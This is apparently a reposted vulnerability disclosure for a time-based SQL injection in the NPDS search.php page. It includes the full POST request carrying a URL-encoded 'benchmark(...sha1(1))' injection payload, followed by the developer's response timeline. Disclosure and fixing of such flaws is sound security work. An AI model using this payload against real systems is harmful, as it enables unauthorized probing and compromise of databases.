N-PSD search.php Time-Based SQL Injection Vulnerability and Fix Analysis

Key Information Vulnerability Type Time-Based SQL Injection Reporter Information Narendra Bhati Email: bhati.contact@gmail.com Position: Security Analyst @ Suma Soft Pvt. Ltd Vulnerability Details Report Date: 14/11/2014 Time: 19:10 Request Type: POST /npds/search.php HTTP/1.1 Request Headers Host: 127.0.0.1 User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/npds/index.php?op=edito Cookie: admin=; etc. Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 63 Request Body query=asdads%3Cxss%3E%20benchmark(20000000%2Csha1(1))--%20 Developer Response 15/11/2014 09:58 - Will consider and address the issue as soon as possible - Contact: developpeur@_npds.org 16/11/2014 17:12 - Verified whether SQL queries can execute the function (time-consuming operation) to confirm the presence of SQL injection - Thank you to Narendra Bhati for the security analysis - All SQL queries are filtered via url_protect; checking if this is sufficient for security Follow-up Analysis The filtering functionality in search.php is working properly Will add filtering for the function Thank you to Narendra Bhati for the work done

Goal Reached Thanks to every supporter — we hit 100%!

N-PSD search.php Time-Based SQL Injection Vulnerability and Fix Analysis